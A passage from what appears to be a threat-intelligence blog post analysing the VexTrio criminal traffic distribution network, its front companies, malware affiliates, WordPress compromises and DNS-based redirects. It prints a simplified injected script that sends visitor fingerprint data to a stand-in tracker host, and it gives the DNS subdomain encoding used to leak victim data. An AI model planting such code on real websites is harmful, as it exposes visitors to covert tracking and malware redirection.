&lt;p&gt;&lt;strong&gt;Los Pollos&lt;/strong&gt; is the flagship. Named after the fictional chicken restaurant in Breaking Bad (because criminal masterminds have a sense of humor), Los Pollos operates as a Cost-Per-Action (CPA) network. In 2024, they claimed 200,000 affiliates and over 2 billion unique monthly users with 3 million conversions. Those numbers are probably inflated, but even if they’re off by 50%, the scale is staggering.&lt;/p&gt;

&lt;p&gt;Los Pollos openly acknowledged on Black Hat World forums that they operate as a “black hat CPA” network. They weren’t hiding what they were. They just positioned it as “aggressive marketing” rather than cybercrime.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TacoLoco&lt;/strong&gt; specializes in push monetization, claiming to process over 1 million requests per second. Push notifications have become a primary malware distribution vector in recent years. Users visit a compromised website, get prompted to “allow notifications,” and then receive a steady stream of scam links directly to their desktop or mobile device. TacoLoco monetizes this at massive scale.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Adtrafico&lt;/strong&gt; rounds out the trio, operating similar services with slightly different geographic and technical focuses.&lt;/p&gt;

&lt;p&gt;All three are connected to AdsPro Group, a Czech company (formerly Adspro Group, now AimedGlobal) that uses Teknology SA for infrastructure. Teknology SA is run by Giulio Vittorio Leonardo Cerutti, who also controls ByteCore AG and SkyForge Digital AG, both registered in Switzerland.&lt;/p&gt;

&lt;p&gt;The corporate structure is deliberately complex. Companies registered in Switzerland benefit from strong privacy protections. Operations run from Prague, Bulgaria, Montenegro, and Moldova where labor is cheaper and regulatory oversight is lighter. Payment processing happens through yet another set of entities. It’s corporate matryoshka dolls all the way down.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Technical Infrastructure&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Despite the massive scale, VexTrio runs the entire global operation on fewer than 250 virtual machines. This seems impossible until you understand their architecture.&lt;/p&gt;

&lt;p&gt;They don’t host content. They don’t store malware. They just route traffic. It’s all redirect chains and DNS manipulation. The heavy lifting happens on compromised WordPress sites and legitimate CDN providers who don’t realize they’re being abused.&lt;/p&gt;

&lt;p&gt;The infrastructure stack includes:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;PowerDNS for rapid zone changes when domains get burned&lt;/li&gt;
  &lt;li&gt;Cloudflare and Akamai CDN for edge distribution&lt;/li&gt;
  &lt;li&gt;HashiCorp tools (Terraform, Consul, Vault) for deployment automation&lt;/li&gt;
  &lt;li&gt;Kubernetes for container orchestration&lt;/li&gt;
  &lt;li&gt;Binom for advertising analytics and traffic routing logic&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is modern DevOps applied to cybercrime. Infrastructure-as-code. Continuous deployment. Automated monitoring and recovery. The technical sophistication matches or exceeds many legitimate tech companies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Financial Layer&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;VexTrio doesn’t just broker traffic. They run their own payment processors. They operate email validation services to support spam campaigns. They develop fraudulent products including fake dating sites, ecommerce portals, and cryptocurrency investment platforms.&lt;/p&gt;

&lt;p&gt;The financial incentives they offer affiliates are substantial. Over $100 per lead for fraudulent antivirus products. “Blank credit card” scams promising six-figure paydays with up to 300% ROI. These aren’t sustainable business models, obviously. They’re fraud. But the payouts are real enough to attract hundreds of affiliate partners.&lt;/p&gt;

&lt;p&gt;Traditional affiliate advertising networks like AdsTerra and PropellerAds process payments for VexTrio operations, providing a veneer of legitimacy. Money flows through multiple shell companies across multiple jurisdictions, making it nearly impossible to trace the ultimate beneficiaries.&lt;/p&gt;

&lt;h2 id=&quot;the-affiliate-network-who-uses-vextrio&quot;&gt;The Affiliate Network: Who Uses VexTrio?&lt;/h2&gt;

&lt;p&gt;Infoblox has tracked relationships between VexTrio and over 60 affiliate operations. Some of these relationships have lasted more than four years, demonstrating something rarely seen in cybercrime: long-term trust built on consistent revenue generation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SocGholish&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;SocGholish is probably VexTrio’s most well-known affiliate. The malware masquerades as browser update prompts, perfectly mimicking Chrome, Edge, or Firefox update interfaces in the victim’s native language. When users download and execute the “update,” they get a JavaScript payload that drops secondary malware, typically NetSupport RAT, AsyncRAT, or Cobalt Strike beacons.&lt;/p&gt;

&lt;p&gt;SocGholish operators have used initial access to deploy ransomware, conduct corporate espionage, and facilitate business email compromise campaigns. The malware is sophisticated, but the real value is in the distribution. VexTrio provides SocGholish with high-quality victim traffic filtered by operating system, browser type, geographic location, and visit recency.&lt;/p&gt;

&lt;p&gt;The partnership goes back to at least April 2022, possibly earlier. SocGholish only wants Windows users on first visits with modern browsers. VexTrio’s filtering ensures they only pay for traffic that meets those specifications.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ClearFake&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;ClearFake is another fake update campaign, but with a twist. Instead of just mimicking browser updates, ClearFake also impersonates reCAPTCHA prompts and other common web elements. The operation uses Keitaro TDS for some of its traffic routing, but feeds substantial volume through VexTrio infrastructure.&lt;/p&gt;

&lt;p&gt;ClearFake specifically targets Chrome users. The filtering is aggressive: wrong browser, wrong geography, VPN IP address, hosting provider range, or security researcher user-agent all result in benign redirects. Only perfect victim profiles get the malware landing page.&lt;/p&gt;

&lt;p&gt;In December 2023, researchers observed ClearFake injecting code that loaded cryptocurrency libraries and interacted with Binance Smart Chain. The malware was attempting to drain crypto wallets in addition to delivering traditional payload droppers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Balada, DollyWay, and Sign1&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;These are WordPress compromise campaigns that feed traffic into VexTrio infrastructure. They don’t operate malware themselves. They just compromise websites and inject redirect scripts.&lt;/p&gt;

&lt;p&gt;GoDaddy published extensive research on DollyWay in March 2025, revealing it had compromised over 20,000 WordPress sites over eight years. The campaign is tracked as “DollyWay World Domination” based on a string found in the malware code: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;define(&apos;DOLLY_WAY&apos;, &apos;World Domination&apos;);&lt;/code&gt;. Someone has a sense of humor.&lt;/p&gt;

&lt;p&gt;Sign1 compromised over 39,000 WordPress sites by exploiting the Simple Custom CSS and JS plugin. Balada has been active since 2017, continuously rotating through different compromise techniques as older vulnerabilities get patched.&lt;/p&gt;

&lt;p&gt;All three campaigns inject malicious JavaScript that fingerprints visitors and communicates with VexTrio TDS infrastructure to receive redirect instructions. The sophistication varies. Balada’s code is fairly basic. DollyWay v3 uses cryptographically signed data transfers and actively removes competing malware from compromised sites to maintain exclusive access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Other Affiliates&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Beyond the major operations, VexTrio works with dozens of smaller affiliates running everything from tech support scams to pharmaceutical spam to cryptocurrency fraud. The diversity of criminal operations using VexTrio infrastructure is remarkable.&lt;/p&gt;

&lt;p&gt;Ransomware operators use it for initial access. Credential phishing campaigns use it to evade detection. Scam operations promoting fake investment opportunities, fraudulent antivirus products, and romance scams all flow through VexTrio redirects.&lt;/p&gt;

&lt;p&gt;The Russian disinformation operation Doppelganger was caught using Los Pollos links to distribute propaganda. This isn’t about financial crime anymore. Nation-state adjacent operations are using the same infrastructure.&lt;/p&gt;

&lt;h2 id=&quot;how-they-collect-infrastructure-the-wordpress-problem&quot;&gt;How They Collect Infrastructure: The WordPress Problem&lt;/h2&gt;

&lt;p&gt;VexTrio’s entire operation depends on compromised websites. Without a steady supply of sites to inject redirect scripts into, the TDS has no traffic to distribute. So how do they acquire hundreds of thousands of compromised WordPress installations?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The WordPress Attack Surface&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;WordPress powers approximately 43% of all websites on the internet. That’s not a typo. Nearly half of all websites run on WordPress. It’s free, it’s flexible, and it’s everywhere. It’s also riddled with security problems, though not usually in core WordPress itself.&lt;/p&gt;

&lt;p&gt;The problem is the plugin ecosystem. WordPress has over 60,000 plugins, many written by developers with little security training. Plugin vulnerabilities are constant. When a popular plugin has a security flaw, hundreds of thousands of sites become exploitable overnight.&lt;/p&gt;

&lt;p&gt;VexTrio affiliates don’t need zero-days. They just need to scan for sites running vulnerable plugin versions and exploit known CVEs. Automated scanning tools make this trivial at scale.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Initial Compromise Methods&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The exact initial compromise vector varies by affiliate, but common methods include:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerable Plugins&lt;/strong&gt;: Tagdiv Composer, WPCode, Simple Custom CSS and JS, Dessky Snippets. These are all real plugins that have been exploited to inject malicious code. Attackers scan for sites running vulnerable versions, exploit the flaw, and inject their payload.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Credential Stuffing&lt;/strong&gt;: WordPress admin panels are often protected only by username and password. Credential databases from previous breaches get tested against WordPress login pages. If the site administrator reused a password that appeared in the LinkedIn breach, the RockYou breach, or any of dozens of other compromises, the attacker gains access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PHPMailer Vulnerabilities&lt;/strong&gt;: Multiple WordPress sites running vulnerable versions of PHPMailer have been compromised to deploy Prometheus TDS backdoors. Once the PHP backdoor is installed, it fingerprints every visitor and sends data back to C2 servers for redirect decisions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SQL Injection&lt;/strong&gt;: Older WordPress sites with custom themes or poorly written plugins sometimes have SQL injection vulnerabilities. Attackers dump the database, extract admin credentials (often poorly hashed), and use those credentials to log in and modify site content.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Persistence Problem&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Getting initial access is only half the battle. Maintaining that access while evading detection is harder. VexTrio affiliates have developed sophisticated persistence mechanisms.&lt;/p&gt;

&lt;p&gt;DollyWay, for example, doesn’t just inject malicious code once. It monitors the compromised site continuously. Every time a page loads, the malware checks if the infection is still active. If someone removed the malicious code, it reinfects from any surviving copy in other plugins or database entries. It disables security plugins. It removes competing malware. It re-obfuscates itself to evade signature-based detection.&lt;/p&gt;

&lt;p&gt;GoDaddy researchers noted that DollyWay reinfection makes remediation extremely difficult: “If the site has heavy traffic, the chances are it will be reinfected in the process of removing malware. If you fail to remove it from all the active plugins and WPCode snippets before someone loads any page, everything will get reinfected from a single piece of malware.”&lt;/p&gt;

&lt;p&gt;Other campaigns use similar techniques. Automated monitoring bots visit compromised sites daily, sometimes multiple times per day. They log into WordPress, verify the WPCode plugin is still activated, and ensure the malicious snippets haven’t been removed.&lt;/p&gt;

&lt;h2 id=&quot;their-malicious-ttps-how-traffic-actually-flows&quot;&gt;Their Malicious TTPs: How Traffic Actually Flows&lt;/h2&gt;

&lt;p&gt;Understanding VexTrio’s tactics requires walking through the entire attack chain from initial site compromise to final payload delivery.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 1: Website Compromise and Code Injection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An attacker identifies a WordPress site running a vulnerable plugin. They exploit the vulnerability to gain admin access or directly inject code into the database. The injected code varies by campaign, but typically falls into two categories:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Client-Side JavaScript Injection&lt;/strong&gt;: Malicious JavaScript is injected into the site’s header, footer, or popular plugins. When visitors load the page, the script executes in their browser. The script gathers victim fingerprinting data (browser, OS, IP, language, screen resolution, referrer) and sends it to the TDS.&lt;/p&gt;

&lt;p&gt;Example injection (simplified and de-obfuscated):&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;info&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;ua&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAgent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;lang&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;language&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;ref&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;referrer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;screen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;width&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;screen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;height&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;img&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Image&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;img&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://tracker-domain.com/log?&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;encodeParams&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The actual injected code is heavily obfuscated, often base64-encoded multiple times, and split across multiple script blocks to avoid detection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Server-Side PHP Injection&lt;/strong&gt;: More recent campaigns have shifted to server-side redirects. The attacker installs the WPCode plugin (if not already present) and creates a PHP snippet that executes before page rendering.&lt;/p&gt;

&lt;p&gt;The PHP code makes a server-side DNS query to the TDS, receives redirect instructions, and issues a 302 redirect before the victim’s browser receives any HTML. From the victim’s perspective, they just got redirected from the WordPress site to wherever the TDS directed them. From a forensic perspective, unless you’re monitoring DNS queries from the web server itself, you’ll never see the TDS coordination.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 2: TDS Filtering and Decision Making&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The TDS receives victim fingerprinting data and applies filtering rules. VexTrio’s filtering is remarkably sophisticated:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Anti-Research Filters&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Block known VPN IP ranges (NordVPN, ExpressVPN, Private Internet Access, etc.)&lt;/li&gt;
  &lt;li&gt;Block hosting provider ranges (AWS, Azure, GCP, DigitalOcean, Linode)&lt;/li&gt;
  &lt;li&gt;Block security vendor IP ranges (Cisco, Palo Alto, Fortinet, Symantec)&lt;/li&gt;
  &lt;li&gt;Block user-agents associated with automation (curl, wget, python-requests, headless browsers)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Victim Quality Filters&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Require legitimate browser user-agents&lt;/li&gt;
  &lt;li&gt;Check if JavaScript is enabled&lt;/li&gt;
  &lt;li&gt;Verify browser canvas fingerprint to detect headless browsers&lt;/li&gt;
  &lt;li&gt;Require specific geographic regions for some campaigns&lt;/li&gt;
  &lt;li&gt;Check visit recency (first visit vs. returning visitor)&lt;/li&gt;
  &lt;li&gt;Verify referrer is from a search engine for SEO poisoning campaigns&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Affiliate Requirement Matching&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;SocGholish wants Windows users only&lt;/li&gt;
  &lt;li&gt;ClearFake wants Chrome specifically&lt;/li&gt;
  &lt;li&gt;Some campaigns only want mobile traffic&lt;/li&gt;
  &lt;li&gt;Others require desktop with specific screen resolutions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the victim fails any check, they get redirected to a benign destination (usually Google or a 404 page). If they pass all checks, the TDS selects an appropriate affiliate campaign and returns redirect instructions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 3: The Redirect Chain&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Victims who pass filtering get redirected through multiple hops:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Compromised WordPress site redirects to VexTrio CDN domain&lt;/li&gt;
  &lt;li&gt;CDN domain redirects to intermediary controller&lt;/li&gt;
  &lt;li&gt;Intermediary controller redirects to campaign landing page&lt;/li&gt;
  &lt;li&gt;Landing page delivers payload&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each hop happens in 200-500ms. The entire chain completes in under 2 seconds. From the victim’s perspective, they clicked a link on a WordPress site and ended up on a page showing a Chrome update prompt. They have no idea they were routed through a criminal traffic distribution network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 4: Payload Delivery&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The final landing page varies by affiliate:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SocGholish&lt;/strong&gt;: Fake browser update page in the victim’s language. Clicking “Update” downloads a ZIP file containing a JavaScript payload. The filename often uses Cyrillic characters to evade detection. When executed, the JavaScript drops NetSupport RAT, AsyncRAT, or Cobalt Strike.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ClearFake&lt;/strong&gt;: Similar fake update prompts, but also impersonates reCAPTCHA and other common web elements. Some variants attempt cryptocurrency wallet drainage in addition to malware delivery.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scam Operations&lt;/strong&gt;: Victims land on pages promoting fake antivirus products, fraudulent investment opportunities, romance scams, or tech support scams. These pages are professionally designed, often more polished than legitimate sites, and include fake testimonials, countdown timers creating urgency, and other conversion optimization techniques.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 5: Post-Exploitation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;What happens after payload execution depends on the affiliate’s objectives:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ransomware Operations&lt;/strong&gt;: Initial access gets sold to ransomware operators who conduct reconnaissance, move laterally, exfiltrate sensitive data, and deploy ransomware for double extortion.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Credential Theft&lt;/strong&gt;: Stealers like Ficker and Redline grab browser passwords, cryptocurrency wallets, session cookies, and any other valuable data before exfiltrating to attacker C2 servers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Botnet Enrollment&lt;/strong&gt;: Systems get enrolled in botnets for DDoS attacks, cryptocurrency mining, or spam distribution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Corporate Espionage&lt;/strong&gt;: Advanced persistent access for long-term intelligence gathering and network mapping.&lt;/p&gt;

&lt;h2 id=&quot;the-dns-txt-record-innovation&quot;&gt;The DNS TXT Record Innovation&lt;/h2&gt;

&lt;p&gt;One of VexTrio’s most clever technical innovations is using DNS TXT records as a covert command and control channel. This technique emerged in late 2023 and represents a significant evolution in TDS methodology.&lt;/p&gt;

&lt;p&gt;Traditional HTTP-based TDS requires the victim’s browser to make web requests to TDS servers. Those requests can be blocked by web proxies, logged by security tools, and analyzed by researchers. DNS-based TDS bypasses all of that.&lt;/p&gt;

&lt;p&gt;Here’s how it works:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;: Compromised WordPress site injects JavaScript that gathers victim fingerprinting data&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;: Instead of making an HTTP request, the script encodes the data in a DNS subdomain query:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;site-id&amp;gt;.&amp;lt;victim-ip&amp;gt;.&amp;lt;random-value&amp;gt;.nd.tracker-cloud[.]com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;: The DNS query passes through the victim’s configured DNS resolver (often Google’s 8.8.8.8 or Cloudflare’s 1.1.1.1)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4&lt;/strong&gt;: The query reaches VexTrio’s authoritative DNS servers (PowerDNS infrastructure)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5&lt;/strong&gt;: VexTrio’s DNS server generates a TXT record response containing base64-encoded redirect instructions&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 6&lt;/strong&gt;: The JavaScript receives the TXT record, decodes it, and redirects the victim accordingly&lt;/p&gt;

&lt;p&gt;From a network security perspective, this looks like a normal DNS query. Most organizations don’t block DNS queries to public resolvers because it would break legitimate services. The malicious traffic is hidden inside DNS infrastructure that barely gets monitored.&lt;/p&gt;

&lt;p&gt;The encoding in subdomains is clever too. The site identifier tells VexTrio which compromised site the traffic came from. The victim IP helps with geolocation and duplicate filtering. The random value prevents caching. Device codes (nd for desktop, ni for iPhone, nm for mobile) inform routing decisions.&lt;/p&gt;

&lt;p&gt;Infoblox researchers developed signatures to detect this based on subdomain structure, TXT record patterns, and domain characteristics. But detection requires DNS visibility and pattern recognition that most organizations lack.&lt;/p&gt;

&lt;p&gt;In April 2024, VexTrio shifted some operations to server-side DNS queries, making detection even harder. Instead of the victim’s browser making the DNS query, the compromised WordPress server does it. Unless you’re monitoring egress DNS from your DMZ web servers (and most people aren’t), you’ll never see it.&lt;/p&gt;

&lt;h2 id=&quot;the-business-model-follow-the-money&quot;&gt;The Business Model: Follow the Money&lt;/h2&gt;

&lt;p&gt;VexTrio operates as a traffic broker. Affiliates pay for victim redirects. VexTrio delivers those redirects by coordinating the massive network of compromised sites, CDN infrastructure, and DNS-based routing.&lt;/p&gt;

&lt;p&gt;Pricing varies by campaign and victim quality. Higher quality victims (corporate networks, specific geographic regions, specific browser/OS combinations) command premium prices. Bulk purchases get discounts.&lt;/p&gt;

&lt;p&gt;Los Pollos advertised paying publishing affiliates (the people who compromise websites and inject redirect scripts) based on traffic quality and volume. The better your traffic converts, the more you get paid. This creates a competitive market where affiliates constantly optimize their compromise techniques and targeting to maximize revenue.&lt;/p&gt;

&lt;p&gt;On the other end, advertising affiliates (the malware operators, scammers, and fraud schemes) pay VexTrio for victim delivery. The pricing needs to be high enough to cover infrastructure costs and affiliate payouts while still being low enough that affiliates make profit on their campaigns.&lt;/p&gt;

&lt;p&gt;The margins are evidently substantial. VexTrio has been operating continuously since 2017 with minimal disruption. They’ve survived multiple exposures by security researchers, law enforcement attention, and platform takedowns. The revenue flowing through this ecosystem is sufficient to sustain nearly 100 companies employing hundreds of people globally.&lt;/p&gt;

&lt;h2 id=&quot;why-it-works-the-legitimacy-shield&quot;&gt;Why It Works: The Legitimacy Shield&lt;/h2&gt;

&lt;p&gt;The brilliance of VexTrio’s model is hiding criminal infrastructure inside apparently legitimate businesses. Los Pollos, TacoLoco, and Adtrafico all present as normal affiliate marketing companies. They have corporate websites. They attend industry conferences. They have LinkedIn profiles and customer support channels.&lt;/p&gt;

&lt;p&gt;Their CDN domains rank in the top 10,000 globally for web traffic. They’ve been active for over five years. VirusTotal shows minimal detection flags. Many VexTrio domains ended up on security vendor allowlists precisely because they look too popular and established to be suspicious.&lt;/p&gt;

&lt;p&gt;When GoDaddy or Infoblox researchers publish IOCs, defenders block the domains. VexTrio spins up new ones. The Dictionary Domain Generation Algorithm creates thousands of plausible-looking domains daily. megastok[.]top, tomorrows[.]top, bestoffer[.]live. They look legitimate enough to pass casual inspection.&lt;/p&gt;

&lt;p&gt;The corporate structure provides similar protection. Los Pollos is registered in Switzerland. AdsPro Group operates from Prague. Payment processing happens through other entities. Law enforcement would need to coordinate across multiple jurisdictions with different legal standards and languages just to begin investigation.&lt;/p&gt;

&lt;p&gt;Meanwhile, VexTrio employs hundreds of people. Many probably don’t know they’re working for a criminal enterprise. The job postings look normal. “Affiliate Manager needed for growing adtech company.” “DevOps engineer for cloud infrastructure.” “Customer success specialist.” These could be legitimate positions at legitimate companies.&lt;/p&gt;

&lt;p&gt;The full scope of the operation wasn’t even understood until 2024 when Qurium and GoDaddy independently connected Los Pollos to VexTrio operations. For seven years, VexTrio operated in plain sight, processing billions of transactions, while the security community thought they were just tracking another TDS threat actor.&lt;/p&gt;

&lt;h2 id=&quot;current-status-and-future-trajectory&quot;&gt;Current Status and Future Trajectory&lt;/h2&gt;

&lt;p&gt;VexTrio’s operations took a hit in November 2024 when their Los Pollos connection was publicly exposed. Los Pollos ceased push monetization services shortly after. Multiple affiliates that relied heavily on Los Pollos infrastructure migrated to alternative TDS services like Help TDS and Disposable TDS.&lt;/p&gt;

&lt;p&gt;But VexTrio hasn’t disappeared. They’ve adapted. Domains rotated. New infrastructure came online. Affiliate relationships continued through other networks. The fundamental business model remains viable.&lt;/p&gt;

&lt;p&gt;Research from early 2025 shows VexTrio affiliates are still actively compromising WordPress sites. The DNS TXT record campaigns continue. Server-side redirect techniques are expanding. Mobile malware distribution through fake VPN applications and system optimizers represents a growing revenue stream.&lt;/p&gt;

&lt;p&gt;The ecosystem is too profitable and too well-established to collapse from a single exposure. VexTrio has weathered multiple security researcher publications, countless IOC releases, and increasing law enforcement scrutiny. The vertical integration of their criminal enterprise provides redundancy and resilience that most cybercrime operations lack.&lt;/p&gt;

&lt;h2 id=&quot;what-this-means-for-defenders&quot;&gt;What This Means for Defenders&lt;/h2&gt;

&lt;p&gt;If you’re responsible for defending an organization’s network, VexTrio should terrify you. Not because of any particular sophistication in their malware (though some affiliates are quite advanced), but because of the sheer scale and efficiency of their distribution infrastructure.&lt;/p&gt;

&lt;p&gt;Traditional security controls struggle with VexTrio:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Signature-based detection fails because domains rotate constantly&lt;/li&gt;
  &lt;li&gt;IP blocking fails because they use legitimate CDNs&lt;/li&gt;
  &lt;li&gt;URL filtering fails because most traffic goes through HTTPS&lt;/li&gt;
  &lt;li&gt;User training fails because victims are visiting legitimately compromised websites they have reason to trust&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The DNS-based TDS variant is particularly challenging. It bypasses web proxies entirely. Unless you have comprehensive DNS visibility and the ability to recognize subdomain encoding patterns, you won’t detect it.&lt;/p&gt;

&lt;p&gt;Server-side redirects are even worse. The victim’s browser never communicates with VexTrio infrastructure directly. The WordPress site just redirects them. Without visibility into server-side DNS queries from your DMZ web servers, you’ll miss the TDS coordination completely.&lt;/p&gt;

&lt;h2 id=&quot;next-steps&quot;&gt;Next Steps&lt;/h2&gt;

&lt;p&gt;Part 2 of this series will dive deep into the infrastructure VexTrio commonly abuses, the forensic evidence you can actually collect when investigating VexTrio-related incidents, and the detection strategies that have proven effective against this threat actor. Because understanding how they operate is only useful if you can do something about it.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://insights.infoblox.com/resources-whitepaper/infoblox-whitepaper-cybercrime-central-vextrio-operates-massive-criminal-affiliate-program&quot;&gt;Infoblox Threat Intelligence - VexTrio Reports&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.proofpoint.com/us/threat-insight/post/drive-service-blacktds&quot;&gt;Proofpoint - BlackTDS: Drive-By As a Service&lt;/a&gt;&lt;/li&gt;
